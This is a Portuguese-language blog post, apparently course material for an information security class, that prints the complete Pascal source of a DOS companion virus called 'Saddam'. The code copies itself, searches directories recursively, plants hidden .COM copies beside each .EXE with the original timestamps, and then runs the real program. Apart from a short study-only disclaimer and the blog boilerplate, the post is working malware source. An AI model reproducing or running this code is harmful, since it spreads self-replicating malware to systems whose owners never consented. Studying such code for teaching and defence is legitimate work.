Usuários online

segunda-feira, 28 de novembro de 2011

Segurança da Informação - Aula 28/11/2011 (Propagação de Vírus)

Propagação de Vírus

Este arquivo tem o propósito de estudo de vírus apenas! Será muito útil para aprender como os virus funcionam e se propagam. Mas qualquer um com conhecimentos de Assembler pode torná-lo em virus funcional e qualquer um com um pouco de experiência de codificação Assembly pode torná-lo em programa mais perigoso que ele já é. Mantenha esse código apenas para estudo!

O programa abaixo está em linguagem Pascal.

Program Saddam;

{$M 10000,0,0}

Uses DOS;

Var
  DriveID : String [2];
  Buffer : Array [1..8000] Of Byte;
  Target,Source : File;
  Infected : Byte;
  Done : Word;
  TargetFile : String;

(*?????????????????????????????????????????????????????????????????????????*)

Function ExistCom : Boolean;
Var
  FindCom : SearchRec;
Begin
  FindFirst ( TargetFile, 39, FindCom );
  ExistCom := DosError = 0;
End;

(*?????????????????????????????????????????????????????????????????????????*)

Procedure SearchDir ( Dir2Search : String );
Var
   S : SearchRec;

Begin
    If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
        Dir2Search := Dir2Search + '\';

    FindFirst ( Dir2Search + '*.exe', 39, S );

    While DosError = 0 Do
    Begin
      TargetFile := Copy ( Dir2Search + S.Name,1,
      Length ( Dir2Search + S.Name ) -3 ) + 'com';

      If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
      Not ExistCom And ( Infected <> 25000 ) Then
      Begin
        {$i-}
        Inc ( Infected );
        Assign ( Target, TargetFile );
        Rewrite ( Target,1 );
        BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
        SetFTime ( Target, S.Time );
        Close ( Target );
        If IoResult = 101 Then
        Begin
            Infected := 3;
            Erase ( Target );
        End;

        {$i+}
      End;

      FindNext ( S );
  End;

  FindFirst ( Dir2Search + '*', Directory, S );

  If S.Name = '.' Then
  Begin
     FindNext ( S );
     FindNext ( S );
  End;

  If ( DosError = 0 ) And
  ( S.Attr And 16 <> 16 ) Then
      FindNext ( S );

  While DosError = 0 Do
  Begin
      If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then
          SearchDir ( Dir2Search + S.Name );
          FindNext ( S );
      End;
   End;


(*?????????????????????????????????????????????????????????????????????????*)

Begin
    DriveID := FExpand ( ParamStr ( 1 ));
    Infected := 0;

    Assign ( Source, ParamStr ( 0 ) );
    Reset ( Source, 1 );
    BlockRead ( Source, Buffer, 5000, Done );
    Close ( Source );

    Randomize;

    SearchDir ( DriveID );

    Exec ( Copy ( ParamStr ( 0 ),1,
    Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.

Nenhum comentário:

Postar um comentário

Observação: somente um membro deste blog pode postar um comentário.

LinkWithin

Related Posts Plugin for WordPress, Blogger...

NOSSO OBJETIVO

OBJETIVO

Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.

RESPONSABILIDADE

O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.